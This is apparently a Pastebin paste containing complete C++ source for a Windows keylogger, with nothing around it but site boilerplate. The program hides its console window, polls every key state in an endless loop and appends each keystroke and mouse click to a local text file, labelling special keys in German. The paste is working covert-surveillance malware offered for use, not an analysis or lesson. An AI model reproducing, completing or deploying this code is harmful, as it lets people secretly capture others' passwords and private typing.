Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <fstream>
- #include <iostream>
- #include <windows.h>
- using namespace std;
- int Save(int _key, char *file);
- int main() {
- FreeConsole();
- char i;
- while (true) {
- Sleep(10);
- for (i = 8; i <= 255; i++) {
- if (GetAsyncKeyState(i) == -32767) {
- Save(i, "xyz.txt");
- }
- }
- }
- return 0;
- }
- int Save(int _key, char *file) {
- cout << _key << endl;
- Sleep(10);
- FILE *OUTPUT_FILE;
- OUTPUT_FILE = fopen(file, "a+");
- if (_key == VK_SHIFT)
- fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
- else if (_key == VK_BACK)
- fprintf(OUTPUT_FILE, "%s", "[LÖSCHEN]");
- else if (_key == VK_LBUTTON)
- fprintf(OUTPUT_FILE, "%s", "[LINKS-CLICK]");
- else if (_key == VK_RBUTTON)
- fprintf(OUTPUT_FILE, "%s", "[RECHTS-CLICK]");
- else if (_key == VK_RETURN)
- fprintf(OUTPUT_FILE, "%s", "[RETURN]");
- else if (_key == VK_ESCAPE)
- fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
- else
- fprintf(OUTPUT_FILE, "%s", &_key);
- fclose(OUTPUT_FILE);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement